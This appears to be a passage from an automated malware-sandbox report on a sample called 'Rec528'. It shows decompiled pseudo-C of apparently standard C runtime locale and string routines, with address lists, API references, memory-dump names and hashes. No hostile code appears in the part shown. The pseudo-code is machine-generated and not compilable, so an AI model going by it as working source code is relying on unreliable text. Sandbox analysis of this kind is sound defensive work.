																	_t85 = _v32;
																} else {
																	 *_t103 = 0xcccc;
																	L50:
																	_t103 = _t103 + 8;
																	L52:
																	if(_t103 == 0 || E10008CD8(_a32, ?str?, _v40, _t85, _t103, _v36) == 0) {
																		goto L55;
																	} else {
																		_t85 = _v32;
																		_t102 = E10007435(_v48, _a12, _v32, _v44, _t103, _v36, _t102, _t102, _t102);
																	}
																}
															}
														}
														E1000A83E(_t103);
													}
												}
											}
										}
									}
								}
								E1000A83E(_t85);
								_t60 = _t102;
							}
						}
					}
				}
				L61:
				return E100026A5(_t60, _t85, _v8 ^ _t104, _t101, _t102, _t103);
			}

0x1000a575
0x1000a57c
0x1000a584
0x1000a587
0x1000a58d
0x1000a590
0x1000a593
0x1000a597
0x1000a59a
0x1000a59f
0x1000a5b4
0x00000000
0x00000000
0x00000000
0x00000000
0x1000a5a1
0x1000a5a9
0x1000a5ab
0x1000a5ba
0x1000a5ba
0x1000a5bf
0x1000a5d1
0x00000000
0x00000000
0x00000000
0x00000000
0x1000a5c1
0x1000a5ca
0x1000a5d7
0x1000a5d7
0x1000a5dc
0x1000a5e3
0x1000a5e6
0x1000a5e6
0x1000a5eb
0x1000a5f7
0x1000a7dd
0x1000a7dd
0x00000000
0x1000a5fd
0x1000a600
0x1000a689
0x1000a68b
0x1000a606
0x1000a609
0x1000a64e
0x1000a64e
0x00000000
0x1000a60b
0x1000a618
0x00000000
0x1000a61e
0x1000a620
0x1000a658
0x00000000
0x1000a65a
0x1000a65e
0x1000a664
0x1000a667
0x1000a669
0x1000a66c
0x1000a66c
0x1000a671
0x00000000
0x00000000
0x1000a673
0x1000a677
0x1000a681
0x1000a687
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1000a677
0x1000a66c
0x1000a667
0x00000000
0x1000a65e
0x1000a622
0x1000a626
0x1000a62c
0x1000a62f
0x1000a631
0x1000a631
0x1000a636
0x00000000
0x00000000
0x1000a638
0x1000a63c
0x1000a646
0x1000a64c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1000a63c
0x1000a631
0x1000a62f
0x00000000
0x1000a650
0x1000a650
0x1000a650
0x1000a620
0x1000a618
0x1000a609
0x1000a600
0x1000a691
0x1000a691
0x1000a691
0x1000a69e
0x1000a6a3
0x1000a6a6
0x1000a6ab
0x1000a7e4
0x1000a7e4
0x1000a6b1
0x1000a6b4
0x1000a6b9
0x1000a6bb
0x1000a6bd
0x1000a700
0x1000a702
0x00000000
0x1000a6bf
0x1000a6c4
0x1000a6e1
0x1000a6e6
0x1000a6ec
0x00000000
0x1000a6f2
0x1000a6f2
0x00000000
0x1000a6f2
0x1000a6c6
0x1000a6c6
0x1000a6cb
0x1000a6cd
0x1000a6d2
0x1000a7cf
0x1000a7cf
0x1000a6d8
0x1000a6d8
0x1000a6f8
0x1000a6f8
0x1000a6fb
0x1000a705
0x1000a707
0x00000000
0x1000a70d
0x1000a715
0x1000a71b
0x1000a720
0x1000a725
0x00000000
0x1000a72b
0x1000a734
0x1000a739
0x1000a73c
0x1000a741
0x00000000
0x1000a747
0x1000a74a
0x1000a74f
0x1000a751
0x1000a753
0x1000a787
0x00000000
0x1000a755
0x1000a75a
0x1000a775
0x1000a77a
0x00000000
0x1000a77c
0x1000a77c
0x00000000
0x1000a77c
0x1000a75c
0x1000a75c
0x1000a761
0x1000a765
0x1000a7c3
0x1000a7c3
0x1000a767
0x1000a767
0x1000a782
0x1000a782
0x1000a789
0x1000a78b
0x00000000
0x1000a7a6
0x1000a7a6
0x1000a7bf
0x1000a7bf
0x1000a78b
0x1000a765
0x1000a75a
0x1000a7c7
0x1000a7cc
0x1000a741
0x1000a725
0x1000a707
0x1000a6d2
0x1000a6c4
0x1000a7d3
0x1000a7d9
0x1000a7d9
0x1000a6ab
0x1000a5eb
0x1000a5bf
0x1000a7e6
0x1000a7f7

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,1000A829,00000000,00000000,00000000,00000001,?,?,?,?,00000001), ref: 1000A610
__alloca_probe_16.LIBCMT ref: 1000A6C6
__alloca_probe_16.LIBCMT ref: 1000A75C
__freea.LIBCMT ref: 1000A7C7
__freea.LIBCMT ref: 1000A7D3

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 50bd88b5ec7d3217cbe60f9d1e7d4836d51787e23259cfb072370776b80678a8
Instruction ID: 48575c92ac3da1999b9a340075b4421a728e163ba4acd9a709e131659f3629d5
Opcode Fuzzy Hash: 50bd88b5ec7d3217cbe60f9d1e7d4836d51787e23259cfb072370776b80678a8
Instruction Fuzzy Hash: 97819372D042069BFF21CE548C41EDE7BF5EF4A6D0F158259E948A7149D6369D80CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00421182 Relevance: 7.7, APIs: 5, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00421182(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				intOrPtr _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t41;
				signed int _t49;
				void* _t51;
				signed int _t55;
				intOrPtr _t63;
				intOrPtr _t69;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr _t86;
				void* _t89;
				intOrPtr* _t91;
				intOrPtr _t93;
				void* _t94;
				void* _t95;
				signed int _t96;
				void* _t97;
				intOrPtr* _t98;
				intOrPtr* _t100;
				void* _t103;

				_push(__ecx);
				_push(__ecx);
				_t41 =  *0x43d054; // 0x298e9dc2
				_v8 = _t41 ^ _t96;
				_t93 = _a20;
				if(_t93 > 0) {
					_t69 = E00419C0D(_a16, _t93);
					_t103 = _t69 - _t93;
					_t93 = _t69 + 1;
					if(_t103 >= 0) {
						_t93 = _t69;
					}
				}
				_t88 = _a32;
				if(_a32 == 0) {
					_t88 =  *((intOrPtr*)( *_a4 + 8));
					_a32 =  *((intOrPtr*)( *_a4 + 8));
				}
				_t86 = E0041FDC8(_t88, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t93, 0, 0);
				_t98 = _t97 + 0x18;
				_v12 = _t86;
				if(_t86 == 0) {
					L39:
					_pop(_t89);
					_pop(_t94);
					_pop(_t71);
					return E0040EB3F(_t46, _t71, _v8 ^ _t96, _t86, _t89, _t94);
				} else {
					_t17 = _t86 + _t86 + 8; // 0x8
					asm("sbb eax, eax");
					_t49 = _t86 + _t86 & _t17;
					if(_t49 == 0) {
						_t72 = 0;
						L15:
						if(_t72 == 0) {
							L37:
							_t95 = 0;
							L38:
							E0040EB21(_t72);
							_t46 = _t95;
							goto L39;
						}
						_t51 = E0041FDC8(_t88, "true", _a16, _t93, _t72, _t86);
						_t100 = _t98 + 0x18;
						if(_t51 == 0) {
							goto L37;
						}
						_t90 = _v12;
						_t95 = E0041E8DE(_a8, _a12, _t72, _v12, 0, 0, 0, 0, 0);
						if(_t95 == 0) {
							goto L37;
						}
						_t86 = 0x400;
						if((_a12 & 0x00000400) == 0) {
							_t31 = _t95 + _t95 + 8; // 0x8
							asm("sbb eax, eax");
							_t55 = _t95 + _t95 & _t31;
							if(_t55 == 0) {
								_t91 = 0;
								L31:
								if(_t91 == 0 || E0041E8DE(_a8, _a12, _t72, _v12, _t91, _t95, 0, 0, 0) == 0) {
									L36:
									E0040EB21(_t91);
									goto L37;
								} else {
									_push(0);
									_push(0);
									if(_a28 != 0) {
										_push(_a28);
										_push(_a24);
									} else {
										_push(0);
										_push(0);
									}
									_push(_t95);
									_push(_t91);
									_push(0);
									_push(_a32);
									_t95 = E00420014();
									if(_t95 != 0) {
										E0040EB21(_t91);
										goto L38;
									} else {
										goto L36;
									}
								}
							}
							if(_t55 > 0x400) {
								_t91 = E0041ECAF(_t55);
								if(_t91 == 0) {
									goto L36;
								}
								 *_t91 = 0xdddd;
								L29:
								_t91 = _t91 + 8;
								goto L31;
							}
							E0040F500(_t55);
							_t91 = _t100;
							if(_t91 == 0) {
								goto L36;
							}
							 *_t91 = 0xcccc;
							goto L29;
						}
						_t63 = _a28;
						if(_t63 == 0) {
							goto L38;
						}
						if(_t95 > _t63) {
							goto L37;
						}
						_t95 = E0041E8DE(_a8, _a12, _t72, _t90, _a24, _t63, 0, 0, 0);
						if(_t95 != 0) {
							goto L38;
						}
						goto L37;
					}
					if(_t49 > 0x400) {
						_t72 = E0041ECAF(_t49);
						if(_t72 == 0) {
							L13:
							_t86 = _v12;
							goto L15;
						}
						 *_t72 = 0xdddd;
						L12:
						_t72 = _t72 + 8;
						goto L13;
					}
					E0040F500(_t49);
					_t72 = _t98;
					if(_t72 == 0) {
						goto L13;
					}
					 *_t72 = 0xcccc;
					goto L12;
				}
			}

0x00421187
0x00421188
0x00421189
0x00421190
0x00421195
0x0042119b
0x004211a1
0x004211a7
0x004211aa
0x004211ad
0x004211af
0x004211af
0x004211ad
0x004211b1
0x004211b6
0x004211bd
0x004211c0
0x004211c0
0x004211e1
0x004211e3
0x004211e6
0x004211eb
0x00421349
0x0042134c
0x0042134d
0x0042134e
0x0042135a
0x004211f1
0x004211f4
0x004211f9
0x004211fb
0x004211fd
0x00421234
0x00421236
0x00421238
0x0042133e
0x0042133e
0x00421340
0x00421341
0x00421347
0x00000000
0x00421347
0x00421247
0x0042124c
0x00421251
0x00000000
0x00000000
0x00421257
0x0042126e
0x00421272
0x00000000
0x00000000
0x00421278
0x00421280
0x004212bd
0x004212c2
0x004212c4
0x004212c6
0x004212f7
0x004212f9
0x004212fb
0x00421337
0x00421338
0x00000000
0x00421318
0x0042131a
0x0042131b
0x0042131f
0x0042135b
0x0042135e
0x00421321
0x00421321
0x00421322
0x00421322
0x00421323
0x00421324
0x00421325
0x00421326
0x0042132e
0x00421335
0x00421364
0x00000000
0x00000000
0x00000000
0x00000000
0x00421335
0x004212fb
0x004212ca
0x004212e5
0x004212ea
0x00000000
0x00000000
0x004212ec
0x004212f2
0x004212f2
0x00000000
0x004212f2
0x004212cc
0x004212d1
0x004212d5
0x00000000
0x00000000
0x004212d7
0x00000000
0x004212d7
0x00421282
0x00421287
0x00000000
0x00000000
0x0042128f
0x00000000
0x00000000
0x004212ab
0x004212af
0x00000000
0x00000000
0x00000000
0x004212b5
0x00421204
0x0042121f
0x00421224
0x0042122f
0x0042122f
0x00000000
0x0042122f
0x00421226
0x0042122c
0x0042122c
0x00000000
0x0042122c
0x00421206
0x0042120b
0x0042120f
0x00000000
0x00000000
0x00421211
0x00000000
0x00421211

APIs

__alloca_probe_16.LIBCMT ref: 00421206
__alloca_probe_16.LIBCMT ref: 004212CC
__freea.LIBCMT ref: 00421338

Part of subcall function 0041ECAF: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040FF1B,?,?,?,?,?,00403757,?,?,?), ref: 0041ECE1

__freea.LIBCMT ref: 00421341
__freea.LIBCMT ref: 00421364

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: b8679c75a32fc34e84bc2013dc0e43ac7a71dfed30df53682d7456621a56f83d
Instruction ID: 56130957566ac49bd44274fb22fd8eb40fad29b7ccfae9c055e311d19bdb2949
Opcode Fuzzy Hash: b8679c75a32fc34e84bc2013dc0e43ac7a71dfed30df53682d7456621a56f83d
Instruction Fuzzy Hash: 53512572700126ABEB209F61EC41EFF76AAEF54754F55012AFC04E7260E738DC5186A8

Uniqueness

Uniqueness Score: -1.00%

Function 1000AF47 Relevance: 7.7, APIs: 5, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E1000AF47(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				intOrPtr _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t41;
				signed int _t49;
				void* _t51;
				signed int _t55;
				intOrPtr _t63;
				intOrPtr _t69;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr _t86;
				void* _t89;
				intOrPtr* _t91;
				intOrPtr _t93;
				void* _t94;
				void* _t95;
				signed int _t96;
				void* _t97;
				intOrPtr* _t98;
				intOrPtr* _t100;
				void* _t103;

				_push(__ecx);
				_push(__ecx);
				_t41 =  *0x10017004; // 0x2b917a71
				_v8 = _t41 ^ _t96;
				_t93 = _a20;
				if(_t93 > 0) {
					_t69 = E1000C6A1(_a16, _t93);
					_t103 = _t69 - _t93;
					_t93 = _t69 + 1;
					if(_t103 >= 0) {
						_t93 = _t69;
					}
				}
				_t88 = _a32;
				if(_a32 == 0) {
					_t88 =  *((intOrPtr*)( *_a4 + 8));
					_a32 =  *((intOrPtr*)( *_a4 + 8));
				}
				_t86 = E10008CD8(_t88, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t93, 0, 0);
				_t98 = _t97 + 0x18;
				_v12 = _t86;
				if(_t86 == 0) {
					L39:
					_pop(_t89);
					_pop(_t94);
					_pop(_t71);
					return E100026A5(_t46, _t71, _v8 ^ _t96, _t86, _t89, _t94);
				} else {
					_t17 = _t86 + _t86 + 8; // 0x8
					asm("sbb eax, eax");
					_t49 = _t86 + _t86 & _t17;
					if(_t49 == 0) {
						_t72 = 0;
						L15:
						if(_t72 == 0) {
							L37:
							_t95 = 0;
							L38:
							E1000A83E(_t72);
							_t46 = _t95;
							goto L39;
						}
						_t51 = E10008CD8(_t88, "true", _a16, _t93, _t72, _t86);
						_t100 = _t98 + 0x18;
						if(_t51 == 0) {
							goto L37;
						}
						_t90 = _v12;
						_t95 = E100075DC(_a8, _a12, _t72, _v12, 0, 0, 0, 0, 0);
						if(_t95 == 0) {
							goto L37;
						}
						_t86 = 0x400;
						if((_a12 & 0x00000400) == 0) {
							_t31 = _t95 + _t95 + 8; // 0x8
							asm("sbb eax, eax");
							_t55 = _t95 + _t95 & _t31;
							if(_t55 == 0) {
								_t91 = 0;
								L31:
								if(_t91 == 0 || E100075DC(_a8, _a12, _t72, _v12, _t91, _t95, 0, 0, 0) == 0) {
									L36:
									E1000A83E(_t91);
									goto L37;
								} else {
									_push(0);
									_push(0);
									if(_a28 != 0) {
										_push(_a28);
										_push(_a24);
									} else {
										_push(0);
										_push(0);
									}
									_push(_t95);
									_push(_t91);
									_push(0);
									_push(_a32);
									_t95 = E10008D54();
									if(_t95 != 0) {
										E1000A83E(_t91);
										goto L38;
									} else {
										goto L36;
									}
								}
							}
							if(_t55 > 0x400) {
								_t91 = E1000797E(_t55);
								if(_t91 == 0) {
									goto L36;
								}
								 *_t91 = 0xdddd;
								L29:
								_t91 = _t91 + 8;
								goto L31;
							}
							E1000E9A0(_t55);
							_t91 = _t100;
							if(_t91 == 0) {
								goto L36;
							}
							 *_t91 = 0xcccc;
							goto L29;
						}
						_t63 = _a28;
						if(_t63 == 0) {
							goto L38;
						}
						if(_t95 > _t63) {
							goto L37;
						}
						_t95 = E100075DC(_a8, _a12, _t72, _t90, _a24, _t63, 0, 0, 0);
						if(_t95 != 0) {
							goto L38;
						}
						goto L37;
					}
					if(_t49 > 0x400) {
						_t72 = E1000797E(_t49);
						if(_t72 == 0) {
							L13:
							_t86 = _v12;
							goto L15;
						}
						 *_t72 = 0xdddd;
						L12:
						_t72 = _t72 + 8;
						goto L13;
					}
					E1000E9A0(_t49);
					_t72 = _t98;
					if(_t72 == 0) {
						goto L13;
					}
					 *_t72 = 0xcccc;
					goto L12;
				}
			}

0x1000af4c
0x1000af4d
0x1000af4e
0x1000af55
0x1000af5a
0x1000af60
0x1000af66
0x1000af6c
0x1000af6f
0x1000af72
0x1000af74
0x1000af74
0x1000af72
0x1000af76
0x1000af7b
0x1000af82
0x1000af85
0x1000af85
0x1000afa6
0x1000afa8
0x1000afab
0x1000afb0
0x1000b10e
0x1000b111
0x1000b112
0x1000b113
0x1000b11f
0x1000afb6
0x1000afb9
0x1000afbe
0x1000afc0
0x1000afc2
0x1000aff9
0x1000affb
0x1000affd
0x1000b103
0x1000b103
0x1000b105
0x1000b106
0x1000b10c
0x00000000
0x1000b10c
0x1000b00c
0x1000b011
0x1000b016
0x00000000
0x00000000
0x1000b01c
0x1000b033
0x1000b037
0x00000000
0x00000000
0x1000b03d
0x1000b045
0x1000b082
0x1000b087
0x1000b089
0x1000b08b
0x1000b0bc
0x1000b0be
0x1000b0c0
0x1000b0fc
0x1000b0fd
0x00000000
0x1000b0dd
0x1000b0df
0x1000b0e0
0x1000b0e4
0x1000b120
0x1000b123
0x1000b0e6
0x1000b0e6
0x1000b0e7
0x1000b0e7
0x1000b0e8
0x1000b0e9
0x1000b0ea
0x1000b0eb
0x1000b0f3
0x1000b0fa
0x1000b129
0x00000000
0x00000000
0x00000000
0x00000000
0x1000b0fa
0x1000b0c0
0x1000b08f
0x1000b0aa
0x1000b0af
0x00000000
0x00000000
0x1000b0b1
0x1000b0b7
0x1000b0b7
0x00000000
0x1000b0b7
0x1000b091
0x1000b096
0x1000b09a
0x00000000
0x00000000
0x1000b09c
0x00000000
0x1000b09c
0x1000b047
0x1000b04c
0x00000000
0x00000000
0x1000b054
0x00000000
0x00000000
0x1000b070
0x1000b074
0x00000000
0x00000000
0x00000000
0x1000b07a
0x1000afc9
0x1000afe4
0x1000afe9
0x1000aff4
0x1000aff4
0x00000000
0x1000aff4
0x1000afeb
0x1000aff1
0x1000aff1
0x00000000
0x1000aff1
0x1000afcb
0x1000afd0
0x1000afd4
0x00000000
0x00000000
0x1000afd6
0x00000000
0x1000afd6

APIs

__alloca_probe_16.LIBCMT ref: 1000AFCB
__alloca_probe_16.LIBCMT ref: 1000B091
__freea.LIBCMT ref: 1000B0FD

Part of subcall function 1000797E: RtlAllocateHeap.NTDLL(00000000,10001F3C,?,?,100026E9,10001F3C,?,10001F3C,0007A120), ref: 100079B0

__freea.LIBCMT ref: 1000B106
__freea.LIBCMT ref: 1000B129

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 62e8ed48b923a589881dae8ff2bf21b480e942a00d0272eaa54439dc614a212a
Instruction ID: e6425b6c8d105bd431202f80254c2bdf2530ed88b240aa741698b4fb6ea43a12
Opcode Fuzzy Hash: 62e8ed48b923a589881dae8ff2bf21b480e942a00d0272eaa54439dc614a212a
Instruction Fuzzy Hash: F551AF72600606AFFB21DF54CC41EBB36E9EF456D0F124229FD14A7158DB74EC9086A1

Uniqueness

Uniqueness Score: -1.00%

Function 0041B9F1 Relevance: 7.7, APIs: 5, Instructions: 186
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 76%

			E0041B9F1(void* __ebx, signed int __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v60;
				char _v276;
				short _v278;
				short _v280;
				char _v448;
				signed int _v452;
				short _v454;
				intOrPtr _v456;
				signed int _v460;
				intOrPtr _v464;
				signed int _v468;
				signed int _v472;
				intOrPtr _v512;
				char _v536;
				intOrPtr _v540;
				signed int _v544;
				intOrPtr _v548;
				signed int _v560;
				char _v708;
				signed int _v712;
				short _v714;
				signed int _v716;
				signed int _v720;
				signed int _v724;
				intOrPtr _v728;
				signed int _v732;
				intOrPtr _v736;
				signed int* _v740;
				signed int _v744;
				signed int _v748;
				signed int _v752;
				char _v824;
				char _v1252;
				char _v1268;
				intOrPtr _v1284;
				signed int _v1288;
				intOrPtr _v1324;
				signed int _v1336;
				void* __ebp;
				signed int _t251;
				void* _t254;
				signed int _t257;
				signed int _t259;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				signed int _t268;
				signed int _t269;
				signed int _t270;
				void* _t272;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				signed int _t277;
				signed int _t280;
				signed int _t287;
				signed int _t288;
				signed int _t290;
				signed int _t291;
				intOrPtr _t292;
				signed int _t295;
				signed int _t297;
				signed int _t298;
				signed int _t301;
				signed int _t303;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t310;
				signed int _t326;
				signed int _t328;
				signed int _t330;
				signed int _t334;
				void* _t335;
				signed int _t337;
				void* _t338;
				intOrPtr _t339;
				signed int _t343;
				signed int _t344;
				intOrPtr* _t349;
				signed int _t363;
				signed int _t365;
				void* _t366;
				signed int _t367;
				intOrPtr* _t368;
				signed int _t370;
				void* _t371;
				void* _t375;
				signed int _t379;
				intOrPtr* _t380;
				intOrPtr* _t383;
				void* _t386;
				signed int _t387;
				signed int _t390;
				intOrPtr* _t391;
				char* _t398;
				intOrPtr _t402;
				intOrPtr* _t403;
				signed int _t405;
				signed int _t410;
				signed int _t411;
				intOrPtr* _t415;
				intOrPtr* _t416;
				signed int _t425;
				short _t426;
				signed int _t428;
				intOrPtr _t429;
				void* _t430;
				signed int _t432;
				intOrPtr _t433;
				void* _t434;
				signed int _t435;
				signed int _t438;
				intOrPtr _t444;
				signed int _t445;
				void* _t446;
				signed int _t447;
				signed int _t448;
				void* _t450;
				signed int _t452;
				signed int _t454;
				signed int _t457;
				signed int* _t458;
				short _t459;
				signed int _t461;
				signed int _t462;
				void* _t464;
				void* _t465;
				signed int _t466;
				void* _t467;
				void* _t468;
				signed int _t469;
				void* _t471;
				void* _t472;
				signed int _t484;

				_t424 = __edx;
				_push(__ebx);
				_push(__esi);
				_v12 = 1;
				_t363 = E0041ECAF(0x6a6);
				_t250 = 0;
				_pop(_t375);
				if(_t363 == 0) {
					L20:
					return _t250;
				} else {
					_push(__edi);
					 *_t363 = 1;
					_t2 = _t363 + 4; // 0x4
					_t428 = _t2;
					_t444 = _a4;
					 *_t428 = 0;
					_t251 = _t444 + 0x30;
					_push( *_t251);
					_v16 = _t251;
					_push(0x431670);
					_push( *0x4315ac);
					E0041B92D(_t363, _t375, __edx, _t428, _t444, _t428, 0x351, 3);
					_t465 = _t464 + 0x18;
					_v8 = 0x4315ac;
					while(1) {
						L2:
						_t254 = E0042501D(_t428, 0x351, 0x43166c);
						_t466 = _t465 + 0xc;
						if(_t254 != 0) {
							break;
						} else {
							_t8 = _v16 + 0x10; // 0x10
							_t415 = _t8;
							_t343 =  *_v16;
							_v16 = _t415;
							_t416 =  *_t415;
							_v20 = _t416;
							goto L4;
						}
						while(1) {
							L4:
							_t424 =  *_t343;
							if(_t424 !=  *_t416) {
								break;
							}
							if(_t424 == 0) {
								L8:
								_t344 = 0;
							} else {
								_t424 =  *((intOrPtr*)(_t343 + 2));
								if(_t424 !=  *((intOrPtr*)(_t416 + 2))) {
									break;
								} else {
									_t343 = _t343 + 4;
									_t416 = _t416 + 4;
									if(_t424 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							_push(_v20);
							_push(0x431670);
							asm("sbb eax, eax");
							_v12 = _v12 &  !( ~_t344);
							_t349 = _v8 + 0xc;
							_v8 = _t349;
							_push( *_t349);
							E0041B92D(_t363, _t416, _t424, _t428, _t444, _t428, 0x351, 3);
							_t465 = _t466 + 0x18;
							if(_v8 < 0x4315dc) {
								goto L2;
							} else {
								if(_v12 != 0) {
									E0041E238(_t363);
									_t435 = _t428 | 0xffffffff;
									__eflags =  *(_t444 + 0x28);
									if(__eflags != 0) {
										asm("lock xadd [ecx], eax");
										if(__eflags == 0) {
											E0041E238( *(_t444 + 0x28));
										}
									}
									__eflags =  *(_t444 + 0x24);
									if( *(_t444 + 0x24) != 0) {
										asm("lock xadd [eax], edi");
										__eflags = _t435 == 1;
										if(_t435 == 1) {
											E0041E238( *(_t444 + 0x24));
										}
									}
									 *(_t444 + 0x24) = 0;
									 *(_t444 + 0x1c) = 0;
									 *(_t444 + 0x28) = 0;
									 *((intOrPtr*)(_t444 + 0x20)) = 0;
									_t250 =  *((intOrPtr*)(_t444 + 0x40));
								} else {
									_t438 = _t428 | 0xffffffff;
									_t484 =  *(_t444 + 0x28);
									if(_t484 != 0) {
										asm("lock xadd [ecx], eax");
										if(_t484 == 0) {
											E0041E238( *(_t444 + 0x28));
										}
									}
									if( *(_t444 + 0x24) != 0) {
										asm("lock xadd [eax], edi");
										if(_t438 == 1) {
											E0041E238( *(_t444 + 0x24));
										}
									}
									 *(_t444 + 0x24) =  *(_t444 + 0x24) & 0x00000000;
									_t28 = _t363 + 4; // 0x4
									_t250 = _t28;
									 *(_t444 + 0x1c) =  *(_t444 + 0x1c) & 0x00000000;
									 *(_t444 + 0x28) = _t363;
									 *((intOrPtr*)(_t444 + 0x20)) = _t250;
								}
								goto L20;
							}
							goto L134;
						}
						asm("sbb eax, eax");
						_t344 = _t343 | 0x00000001;
						__eflags = _t344;
						goto L10;
					}
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E004134C4();
					asm("int3");
					_t461 = _t466;
					_t467 = _t466 - 0x1d0;
					_t257 =  *0x43d054; // 0x298e9dc2
					_v60 = _t257 ^ _t461;
					_t259 = _v44;
					_push(_t363);
					_push(_t444);
					_t445 = _v40;
					_push(_t428);
					_t429 = _v48;
					_v512 = _t429;
					__eflags = _t259;
					if(_t259 == 0) {
						_v460 = 1;
						_v472 = 0;
						_t365 = 0;
						_v452 = 0;
						__eflags = _t445;
						if(__eflags == 0) {
							L79:
							_t259 = E0041B9F1(_t365, _t424, _t429, _t445, __eflags, _t429);
							goto L80;
						} else {
							__eflags =  *_t445 - 0x4c;
							if( *_t445 != 0x4c) {
								L59:
								_t259 = E0041B567(_t365, _t424, _t429, _t445, _t445,  &_v276, 0x83,  &_v448, 0x55,  &_v468);
								_t468 = _t467 + 0x18;
								__eflags = _t259;
								if(_t259 != 0) {
									_t379 = 0;
									__eflags = 0;
									_t425 = _t429 + 0x20;
									_t447 = 0;
									_v452 = _t425;
									do {
										__eflags = _t447;
										if(_t447 == 0) {
											L74:
											_t265 = _v460;
										} else {
											_t380 =  *_t425;
											_t266 =  &_v276;
											while(1) {
												__eflags =  *_t266 -  *_t380;
												_t429 = _v464;
												if( *_t266 !=  *_t380) {
													break;
												}
												__eflags =  *_t266;
												if( *_t266 == 0) {
													L67:
													_t379 = 0;
													_t267 = 0;
												} else {
													_t426 =  *((intOrPtr*)(_t266 + 2));
													__eflags = _t426 -  *((intOrPtr*)(_t380 + 2));
													_v454 = _t426;
													_t425 = _v452;
													if(_t426 !=  *((intOrPtr*)(_t380 + 2))) {
														break;
													} else {
														_t266 = _t266 + 4;
														_t380 = _t380 + 4;
														__eflags = _v454;
														if(_v454 != 0) {
															continue;
														} else {
															goto L67;
														}
													}
												}
												L69:
												__eflags = _t267;
												if(_t267 == 0) {
													_t365 = _t365 + 1;
													__eflags = _t365;
													goto L74;
												} else {
													_t268 =  &_v276;
													_push(_t268);
													_push(_t447);
													_push(_t429);
													L83();
													_t425 = _v452;
													_t468 = _t468 + 0xc;
													__eflags = _t268;
													if(_t268 == 0) {
														_t379 = 0;
														_t265 = 0;
														_v460 = 0;
													} else {
														_t365 = _t365 + 1;
														_t379 = 0;
														goto L74;
													}
												}
												goto L75;
											}
											asm("sbb eax, eax");
											_t267 = _t266 | 0x00000001;
											_t379 = 0;
											__eflags = 0;
											goto L69;
										}
										L75:
										_t447 = _t447 + 1;
										_t425 = _t425 + 0x10;
										_v452 = _t425;
										__eflags = _t447 - 5;
									} while (_t447 <= 5);
									__eflags = _t265;
									if(__eflags != 0) {
										goto L79;
									} else {
										__eflags = _t365;
										if(__eflags != 0) {
											goto L79;
										} else {
											_t259 = _t379;
										}
									}
								}
								goto L80;
							} else {
								__eflags =  *(_t445 + 2) - 0x43;
								if( *(_t445 + 2) != 0x43) {
									goto L59;
								} else {
									__eflags =  *((short*)(_t445 + 4)) - 0x5f;
									if( *((short*)(_t445 + 4)) != 0x5f) {
										goto L59;
									} else {
										while(1) {
											_t269 = E0042623B(_t445, 0x431664);
											_t367 = _t269;
											_v468 = _t367;
											_pop(_t382);
											__eflags = _t367;
											if(_t367 == 0) {
												break;
											}
											_t270 = _t269 - _t445;
											__eflags = _t270;
											_v460 = _t270 >> 1;
											if(_t270 == 0) {
												break;
											} else {
												_t272 = 0x3b;
												__eflags =  *_t367 - _t272;
												if( *_t367 == _t272) {
													break;
